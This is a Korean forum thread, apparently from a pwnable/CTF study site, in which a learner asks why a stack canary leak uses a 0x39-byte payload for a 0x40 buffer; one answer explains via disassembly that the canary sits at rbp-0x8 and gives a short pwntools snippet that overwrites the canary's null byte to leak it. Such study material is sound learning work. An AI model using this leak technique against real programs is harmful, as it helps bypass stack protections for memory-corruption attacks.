dummy buf의 정확한 값

dummy buf의 정확한 값을 알 수 있는 방법이 있을까요? gdb에서는 buf가 0x40으로 찍히는데, 왜 카나리 leak할때 페이로드를 "A" * 0x39로 보내나요?

#pwnable
작성자 정보
답변 2
avatar
wyv3rn
무플 방지 위원회장

gdb로 값이 들어가는 부분에서 카나리까지 거리를 직접 보시는게 제일 빠릅니다 ㅎㅎ

2023.03.10. 07:49
l000wk3y
공부벌레

이 문제에서는 아래 처럼 생각해 볼 수도 있어요.

Dump of assembler code for function main:
   0x00000000004006f7 <+0>:     push   rbp
   0x00000000004006f8 <+1>:     mov    rbp,rsp
   0x00000000004006fb <+4>:     sub    rsp,0x40

스택에 0x40 공간을 확보한 것이 보인다.

이후, canary 등록을 한다.

   0x00000000004006ff <+8>:     mov    rax,QWORD PTR fs:0x28
   0x0000000000400708 <+17>:    mov    QWORD PTR [rbp-0x8],rax

rbp-0x8 위치에 카나리를 셋팅하니,
0x40 - 0x8 하면, 그 위치에서 카나리가 시작한다고 보면 될 것 같다. (=0x38)

따라서 카나리 first null-byte 까지 덮어서 카나리가 노출되도록 한다.

payload = b'A'*0x39 # +1 is null(frist byte) of canary value
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00" + p.recvn(7))
print(hex(canary))
2023.03.29. 20:03
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기